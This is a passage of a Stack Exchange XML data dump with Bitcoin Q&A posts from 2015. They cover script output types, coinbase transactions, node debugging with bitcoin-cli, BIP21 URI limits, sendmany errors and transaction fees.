them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that any witness program format can be combined with any witness program. For example, you can have P2SH wrapping P2WSH, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptPubKey:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 &amp;lt;20 byte hash of scriptSig element&amp;gt; OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;scriptSig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;34 byte serialized witness program&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unserialized witness program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 &amp;lt;32 byte hash of first witness item&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the first witness item is unpacked and interpreted as the actual program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0141.mediawiki#Witness_program&quot; rel=&quot;nofollow noreferrer&quot;&gt;More information here.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;m-of-n bare multisig&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also pretty rare.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;m&amp;gt; [n &amp;lt;public key&amp;gt;s] &amp;lt;n&amp;gt; OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Data-carrying output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only one of these is allowed per transaction. These outputs can never be spent, so you probably don't need to detect them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_RETURN &amp;lt;less than 80 bytes of data&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I implement more sophisticated script parser which can detect &quot;non-standard&quot; scripts as well?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. It's a waste of development time, when nobody uses transactions like that. (If they did, those transaction types would be added to the list of standard transactions. :))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also going to be very difficult to implement correctly. If you don't do it correctly, then you'll think you have coins when you really don't. For example, imagine someone sends you a transaction with a scriptPubKey like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 &amp;lt;20 bytes of public key hash&amp;gt; OP_2DROP OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this is like a P2PKH output, except that OP_EQUALVERIFY has been replaced by OP_2DROP. That means that the script checks that the signature is correct, but &lt;em&gt;doesn't&lt;/em&gt; check that it's signed by the right key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that &lt;em&gt;anybody&lt;/em&gt; can spend it, not just you. Correctly detecting edge cases like these make writing a program that can understand nonstandard outputs more trouble than it's worth.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-12-08T18:04:38.247" LastActivityDate="2017-12-08T18:04:38.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35459" PostTypeId="5" CreationDate="2015-01-12T22:52:41.167" Score="0" Body="&lt;p&gt;Each block must contain exactly one coinbase transaction. The coinbase transaction pays out the block reward to the miner that created it as part of a block. The block reward consists of the newly created block subsidy and the transaction fees. The coinbase transaction is the only transaction whose outputs may pay out a larger amount than spent by the inputs (limited by the &lt;a href=&quot;/questions/tagged/reward-schedule&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;reward-schedule&amp;#39;&quot; rel=&quot;tag&quot;&gt;reward-schedule&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;The coinbase transaction must be the first transaction in the block, have exactly one input, and their outputs cannot be spent until 100 blocks later.&lt;/p&gt;&#xA;&lt;p&gt;Related topics: &lt;a href=&quot;/questions/tagged/transaction-fees&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;transaction-fees&amp;#39;&quot; rel=&quot;tag&quot;&gt;transaction-fees&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/mining-reward&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mining-reward&amp;#39;&quot; rel=&quot;tag&quot;&gt;mining-reward&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/extra-nonce&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;extra-nonce&amp;#39;&quot; rel=&quot;tag&quot;&gt;extra-nonce&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/reward-schedule&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;reward-schedule&amp;#39;&quot; rel=&quot;tag&quot;&gt;reward-schedule&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/immature-coins&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;immature-coins&amp;#39;&quot; rel=&quot;tag&quot;&gt;immature-coins&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/mining-theory&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mining-theory&amp;#39;&quot; rel=&quot;tag&quot;&gt;mining-theory&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-07-05T13:35:14.517" LastActivityDate="2022-07-05T13:35:14.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35460" PostTypeId="4" CreationDate="2015-01-12T22:52:41.167" Score="0" Body="The transaction that pays the miner their block reward.—Use [coinbase.com] to refer to the US-based cryptocurrency company." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-11-03T22:01:06.177" LastActivityDate="2023-11-03T22:01:06.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35461" PostTypeId="1" CreationDate="2015-01-13T01:17:18.950" Score="2" ViewCount="164" Body="&lt;p&gt;I spent  a while  reading ripple protocol, specially the consensus process,&#xA;the protocol works based only on a sub-network ( from a huge network) reaching a consensus for the current state, it's supposed to prevent double-spending and other attacks.  There is no analysis about fork events!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, any one can explain step by step the underlying consensus mechanism?&#xA;Second, what's in the mechanism that prevents double-spending, attacks and fork events?&lt;/p&gt;&#xA;" OwnerUserId="18637" LastEditorUserId="5406" LastEditDate="2021-02-01T19:13:30.133" LastActivityDate="2021-02-01T19:13:30.133" Title="Ripple: only a sub-network reaching a consensus is largely enough to be decentralized&amp;secure system?" Tags="|ripple|consensus|ripple-ledger|" AnswerCount="0" CommentCount="7" ClosedDate="2019-07-17T21:14:34.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="35462" PostTypeId="2" ParentId="35454" CreationDate="2015-01-13T01:46:31.263" Score="4" Body="&lt;p&gt;bitcoin-cli can read rpcuser and rpcpassword out of your config file. Just run it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -conf=/Users/varunvb/Downloads/bitcoin.conf -datadir=/Users/varunvb/Downloads getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, remove the &lt;code&gt;-e&lt;/code&gt; from your bitcoin.conf.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-13T01:46:31.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35463" PostTypeId="1" AcceptedAnswerId="35465" CreationDate="2015-01-13T02:32:15.317" Score="2" ViewCount="240" Body="&lt;p&gt;I ran 6 or 7 bitcoinds with version 0.93 on CentOs. I used the default configuration on all of them. Sometimes I found one or two fell behind the others. And I need restart them, then they would work. I don't where is wrong, or there is some problem on the 0.93 version. Do I need update to the 0.10 version? When will the official 0.10 release. Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="21175" LastActivityDate="2015-01-13T03:55:42.140" Title="Bitcoind blocks fell behind sometimes" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35464" PostTypeId="1" CreationDate="2015-01-13T03:11:35.740" Score="3" ViewCount="347" Body="&lt;p&gt;Is there a limit to how many characters are allowed in the message parameter of a &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0021.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP21&lt;/a&gt; URI? I tried searching on the subject, but found nothing about it.&lt;/p&gt;&#xA;" OwnerUserId="22892" LastEditorUserId="2306" LastEditDate="2015-01-13T05:09:30.170" LastActivityDate="2015-01-13T05:09:30.170" Title="Does the bitcoin URI message parameter have character limits?" Tags="|transactions|message|bip21-uri|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35465" PostTypeId="2" ParentId="35463" CreationDate="2015-01-13T03:55:42.140" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&quot;Is there a problem with 0.9.3 that causes it to fall behind?&lt;/strong&gt; That's a serious problem for the network, but I haven't heard anyone else report it.  If you debug it and discover that it's Bitcoin Core's fault, please &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/new&quot; rel=&quot;nofollow&quot;&gt;report it&lt;/a&gt;.  However, here are a few common reasons for problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Insufficient resources:&lt;/strong&gt; if you're running Bitcoin Core on an underpowered VPS, Raspberry Pi, or other marginal hardware, you'll get all sorts of strange problems.  I recommend a minimum of 1 gigabyte memory for a full node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hardware problems:&lt;/strong&gt; bad memory, failing disks, and especially CPU overheating issues can cause your node to stop working or fail validation of a block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Suspend/Hibernate issues:&lt;/strong&gt; when restoring from suspend/hibernate on Linux, my nodes sometimes take a long time to reestablish connections and start downloading blocks, meaning my node looks like it has fallen behind for awhile.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Clock issues:&lt;/strong&gt; if the clock on a computer falls behind real time by more than about 2 hours, it may not accept the most recent blocks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&quot;Do I need to update to 0.10.0?&quot;&lt;/strong&gt; Right now 0.10.0 is in the Release Candidate (RC) phase, which is the last testing phase.  If you'd like to help test, feel free to upgrade.  But if you're relying on Bitcoin Core behaving correctly, staying on most recent released version (0.9.3) is advised.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&quot;When will 0.10.0 be released?&lt;/strong&gt; When the developers think it has been well tested, and not a minute earlier.  I know major software companies often release software on a set schedule, but they do it by holding back (hopefully) release-quality software.  Open source doesn't work that way---everyone can see the source code, so you either release when it's ready or someone else releases it for you. :-)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Debugging Tips&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I highly recommend that you try to find out what causes your nodes to behave incorrectly or you're likely to have the same problem on 0.10.0 that you have on 0.9.3.  Here are some quick tips:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Check &lt;code&gt;$HOME/.bitcoin/debug.log&lt;/code&gt; for any warnings or errors.  If you can't figure out any messages using a web search, feel free to ask here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start bitcoind with &lt;code&gt;-debug&lt;/code&gt; to log additional information.  Note, this will make your log file grow in size faster than normal, and it will inhibit shrinking the logfile on startup for as long as you use it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you only rarely check your nodes, scanning the whole log might be hard.  I suggest starting at the time indicated in the header of the old block you're stuck on.  For example, if you're stuck on block 330,000, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;run &lt;code&gt;bitcoin-cli getblockhash 3330000&lt;/code&gt; to get the block's header hash; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;run &lt;code&gt;bitcoin-cli getblock &amp;lt;hash&amp;gt;&lt;/code&gt; to get the block.  Note the &lt;code&gt;time&lt;/code&gt; field&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;run &lt;code&gt;date -ud @&amp;lt;time&amp;gt;&lt;/code&gt; to convert the time into human readable UTC, the same as used in debug.log.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;bitcoin-cli&lt;/code&gt; to run RPCs in an every-minute cron job to log additional information.  An example cron job might be, &lt;code&gt;* * * * * { date -u ; bitcoin-cli getnetworkinfo ; } &amp;gt;&amp;gt; getnetworkinfo.log&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-13T03:55:42.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35466" PostTypeId="2" ParentId="35464" CreationDate="2015-01-13T04:01:00.100" Score="4" Body="&lt;p&gt;There isn't a limit described by the BIP (&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0021.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0021.mediawiki&lt;/a&gt;). In general, however, URIs might be encoded into QR codes, so their length should be kept as small as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;GET requests often have limits on the length of the encoded URLs, something like 2000 characters (&lt;a href=&quot;https://stackoverflow.com/questions/266322/is-there-a-limit-to-the-length-of-a-get-request&quot;&gt;https://stackoverflow.com/questions/266322/is-there-a-limit-to-the-length-of-a-get-request&lt;/a&gt;). This might be applicable depending on how you are using the URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a guideline, however, I would say that messages in Bitcoin URIs should be fairly short. I'd probably try to stick to less than 200 characters.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-01-13T04:06:10.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35467" PostTypeId="2" ParentId="32875" CreationDate="2015-01-13T06:45:07.320" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getrawtransaction&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getrawtransaction&lt;/code&gt; RPC&lt;/a&gt; will provide you with details about a particular transaction.  However, answering your question further is complicated by several issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Transactions are not required to have change addresses.  Good wallets will attempt to avoid using change addresses when change isn't necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transactions may have more than two outputs, so there's not necessarily a single payment address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transactions may pay a bare (non-P2SH) multisig output which comprises several public keys.  GetRawTransaction will display these as multiple addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In a well-implemented wallet, change should be indistinguishable from a payment within a single transaction.  You would need to analyze multiple transactions or have information from the party that received payment in order to be able to determine which output is a change address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In short, I don't think GetRawTransaction or any other RPC will provide you with the information you want for arbitrary block chain transactions.  However, if you're only interested in information about transactions in the local wallet, the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#gettransaction&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;gettransaction&lt;/code&gt; RPC&lt;/a&gt; is what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-13T06:45:07.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35468" PostTypeId="2" ParentId="34295" CreationDate="2015-01-13T10:24:05.990" Score="0" Body="&lt;p&gt;Unfortunately if this is a Bcoiner bug only them can recover your address and your Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you generate an address, you generate a private key (linked to your bcoiner account) if Bcoiner can't recover it I'm afraid you have lost your bitcoin forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution is then to contact them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember : use a local wallet (Bitcoin-qt for example) and make a bakup of your wallet periodically, if you want to use an online service then make a local backup of your wallet to avoid this kind of problems.&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2015-01-13T10:24:05.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35469" PostTypeId="2" ParentId="34057" CreationDate="2015-01-13T18:33:25.320" Score="1" Body="&lt;p&gt;I had this problem on a NOMP pool recently, I will share how we fixed it. For us, the problem was that a user had used the same address twice, but added some whitespace to their username the second time. So NOMP wouldn't recognize it as a duplicate, but the &lt;code&gt;sendmany&lt;/code&gt; command would still fail. The solution for us was to do two things.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Eliminate the whitespace from workers' names. &lt;a href=&quot;https://github.com/UNOMP/unified-node-open-mining-portal/commit/ef82fcf5dabdefa146921c668b3db8f8393e6fc9&quot; rel=&quot;nofollow&quot;&gt;This commit&lt;/a&gt; shows how to do that.&lt;/li&gt;&#xA;&lt;li&gt;Combine payouts together when there is more than one worker with the same address. The code for that is shown below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In paymentProcessor.js, change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var address = worker.address = (worker.address || getProperAddress(w));&#xA;worker.sent = addressAmounts[address] = satoshisToCoins(toSend);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var address = worker.address = (worker.address || getProperAddress(w)).trim();&#xA;if (!worker.sent) {&#xA;    worker.sent = 0;&#xA;}&#xA;worker.sent += satoshisToCoins(toSend);&#xA;if (!(address in addressAmounts)) {&#xA;    addressAmounts[address] = 0;&#xA;}&#xA;addressAmounts[address] += satoshisToCoins(toSend);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to know more about what caused this, the problem here is just what was explained in the error: there are duplicate addresses in the JSON object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I generated a new address of my own (1PSXKQdR5nG8T5ueG76RaWwhdwqv9JJWzy) and ran:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoin-cli sendmany &quot;&quot; '{&quot;1PSXKQdR5nG8T5ueG76RaWwhdwqv9JJWzy&quot;:0.01, &quot;1PSXKQdR5nG8T5ueG76RaWwhdwqv9JJWzy&quot;:0.01}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the error was: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Invalid parameter, duplicated address: 1PSXKQdR5nG8T5ueG76RaWwhdwqv9JJWzy (code -8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To fix this problem, you either need to (1) add up all the amounts and pay to the address in one go, or (2) do separate RPC &lt;code&gt;sendmany&lt;/code&gt; RPC calls, making sure to not have any duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, (1) would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoin-cli sendmany &quot;&quot; '{&quot;1PSXKQdR5nG8T5ueG76RaWwhdwqv9JJWzy&quot;:0.02}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And (2) would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoin-cli sendmany &quot;&quot; '{&quot;1PSXKQdR5nG8T5ueG76RaWwhdwqv9JJWzy&quot;:0.01}'&#xA;./bitcoin-cli sendmany &quot;&quot; '{&quot;1PSXKQdR5nG8T5ueG76RaWwhdwqv9JJWzy&quot;:0.01}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-03-30T04:47:21.220" LastActivityDate="2015-03-30T04:47:21.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35470" PostTypeId="2" ParentId="8760" CreationDate="2015-01-13T19:40:47.067" Score="1" Body="&lt;p&gt;Additionally, Ripple released a &lt;a href=&quot;https://ripple.com/dev-blog/consensus-whitepaper-released/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Consensus Whitepaper in August 2014&lt;/a&gt;. They write:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Ripple Labs has just released a whitepaper describing the Ripple network’s consensus algorithm and its properties. The Ripple network combines Ryan Fugger’s original rippling ideas with a p2p transactional database. Consensus is the distributed agreement protocol that the Ripple network uses to irreversibly arbitrate changes to this database in just a few seconds.&lt;/p&gt;&#xA;&lt;p&gt;Distributed agreement protocols like consensus must operate in the face of unreliable networks and malicious adversaries and must defend against failure modes in which the system might fail to process transactions or fail to agree on current balances. This white paper explains how Ripple’s consensus algorithm operates and how it provides a fast, reliable payment network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Direct link: &lt;a href=&quot;https://ripple.com/consensus-whitepaper/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Consensus Whitepaper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-13T19:40:47.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35471" PostTypeId="2" ParentId="35449" CreationDate="2015-01-13T19:51:13.517" Score="0" Body="&lt;p&gt;People are mining different algorithm Proof of Work coins with CPUs and GPUs because ASICs have centralized the mining ecosystem for Bitcoin.  Therefore miners diverge their resources for more value in return.&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2015-01-13T19:51:13.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35473" PostTypeId="1" CreationDate="2015-01-13T20:02:00.083" Score="1" ViewCount="971" Body="&lt;p&gt;So I'm using the original bitcoin client.&#xA;What if on a computer without internet (A) I generate a bitcoin address and&#xA;then use this address to receive a payment (by using an other computer with internet (B))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I transfer my wallet.dat to computer B and let it sync, will I still get the payment ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking because I'm doing stuff from work and the bitcoin-qt can't synchronize from over there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to be online in order to generate a ready to use payment address?&lt;/p&gt;&#xA;" OwnerUserId="11400" LastEditorDisplayName="user11221" LastEditDate="2015-01-13T23:06:33.167" LastActivityDate="2015-01-14T11:21:08.353" Title="Can I generate payment adresses while offline?" Tags="|bitcoin-core|wallet.dat|receiving|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35474" PostTypeId="1" CreationDate="2015-01-13T20:45:58.487" Score="1" ViewCount="84" Body="&lt;p&gt;I purchased some Bitcoin through a local bitcoin ATM. When I purchased the Bitcoins I was not given an option to ad a transaction fee and currently it sits unconfirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a app on my iPhone that I have just started using to manage my Bitcoin called Bitwallet and in its 'Pay' screen it also does not offer an option to include a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are you meant to do to confirm transactions if no option for a transaction fee is ever offered?&lt;/p&gt;&#xA;" OwnerUserId="22901" LastEditorUserId="2306" LastEditDate="2015-01-14T00:12:32.093" LastActivityDate="2015-01-14T00:12:32.093" Title="What if you're not given an option for a transaction fee?" Tags="|transaction-fees|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35475" PostTypeId="2" ParentId="35473" CreationDate="2015-01-13T20:48:41.167" Score="0" Body="&lt;p&gt;You can generate a permanent address while offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter where the address is stored.  As long as you communicate that address to someone somehow, they can issue a transaction to that address.  However, the transaction must reach the network somehow in order for it to be confirmed into blockchain.  Once that happens, everyone will be aware that your public address likely exists because they see that someone sent BTC to it.&lt;/p&gt;&#xA;" OwnerUserId="22807" LastActivityDate="2015-01-13T20:48:41.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35476" PostTypeId="2" ParentId="35474" CreationDate="2015-01-13T20:51:16.770" Score="0" Body="&lt;p&gt;You don't do anything.  The blockchain confirms for you that the ATM sent you some money.  And as the receiver, you do not pay any transaction fee per se.  Only the sender does.&lt;/p&gt;&#xA;" OwnerUserId="22807" LastActivityDate="2015-01-13T20:51:16.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35477" PostTypeId="2" ParentId="35342" CreationDate="2015-01-13T21:27:58.383" Score="1" Body="&lt;p&gt;When you say you spent 5 BTC as a test, do you mean you sent off transactions worth 5 BTC?  You essentially just tried to double spend and the blockchain is going to reject one of those.&lt;/p&gt;&#xA;" OwnerUserId="22807" LastActivityDate="2015-01-13T21:27:58.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35478" PostTypeId="2" ParentId="31940" CreationDate="2015-01-13T21:48:22.883" Score="1" Body="&lt;p&gt;Safety is relative---large payment processors like Coinbase probably have non-block-chain anti-fraud measures.  However, a confirmation (and each additional confirmation after it) reduces the risk of a double spend fraud, so waiting for a certain number of confirmations is an easy and effective anti-fraud measure that doesn't cost you anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know for sure what happened to MtGox, but it is true that an unconfirmed transaction can become effectively unspendable if any of its inputs become unavailable---which could happen because a block was created containing a transaction that already spent that input (a double spent) or because the transaction which created that input was added to a block in a mutated form (transaction malleability).&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-13T21:48:22.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35479" PostTypeId="2" ParentId="35474" CreationDate="2015-01-13T22:04:35.633" Score="1" Body="&lt;p&gt;As Nick says, there really isn't anything you can do by yourself. The transaction fee has to be included when the sender creates the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a provision for transactions to be confirmed without fee, based on a &quot;priority&quot; measure that depends on  the size of the transaction, and the length of time since those coins were previously spent. As such, the priority increases over time, so the transaction should eventually be confirmed, though the length of time depends on the size of the transaction. (The size may be larger than the amount due to you, if it includes payments to other people or  an amount being returned as &quot;change&quot;.) If you have the transaction ID, you can look it up on a block explorer like blockchain.info  and see the priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't confirm in a reasonable length of time, all you can do is take it up with the ATM operator. In principle, they can try to retract an unconfirmed transaction (by double spending) and issue a replacement or a refund. &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-01-13T22:04:35.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35483" PostTypeId="2" ParentId="35473" CreationDate="2015-01-13T23:11:12.167" Score="1" Body="&lt;p&gt;No, you don't need to be online when generating a new receiving address, as this is done locally by your bitcoin-core. You also don't need to be online to receive funds to these addresses, as long as you protect your wallet and keep your system free from malicious software you are the owner of these addresses and you will be able to check their balance as soon as you get online and let your wallet synchronize with the network.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-01-13T23:11:12.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
